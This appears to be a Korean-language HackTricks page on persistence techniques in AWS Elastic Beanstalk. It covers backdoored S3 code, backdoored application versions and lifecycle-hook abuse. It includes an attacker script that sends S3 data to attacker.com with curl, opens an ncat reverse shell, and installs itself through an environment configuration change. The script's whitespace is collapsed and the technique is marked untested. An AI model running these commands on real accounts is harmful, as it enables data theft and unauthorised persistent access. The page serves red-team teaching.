AWS 계정 내에서 지속성을 유지하기 위해 인스턴스 내에 지속성 메커니즘을 도입할 수 있습니다(cron 작업, ssh 키...), 이렇게 하면 공격자가 액세스하여 IAM 역할 자격 증명을 메타데이터 서비스에서 도용할 수 있습니다.
버전 내 백도어
공격자는 S3 저장소 내의 코드에 백도어를 설치하여 항상 백도어를 실행하고 예상 코드를 실행하도록 할 수 있습니다.
새로운 백도어 버전
실제 버전의 코드를 변경하는 대신, 공격자는 응용 프로그램의 새로운 백도어 버전을 배포할 수 있습니다.
사용자 지정 리소스 라이프사이클 후크 남용
TODO: 테스트
Elastic Beanstalk은 인스턴스 프로비저닝 및 종료 중에 사용자 지정 스크립트를 실행할 수 있게 하는 라이프사이클 후크를 제공합니다. 공격자는 라이프사이클 후크를 구성하여 주기적으로 데이터를 유출하거나 AWS 계정에 액세스를 유지하는 스크립트를 실행할 수 있습니다.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
htARTE (HackTricks AWS Red Team Expert)와 함께 제로부터 영웅이 되는 AWS 해킹 배우기!
다른 방법으로 HackTricks를 지원하는 방법:
회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 SUBSCRIPTION PLANS를 확인하세요!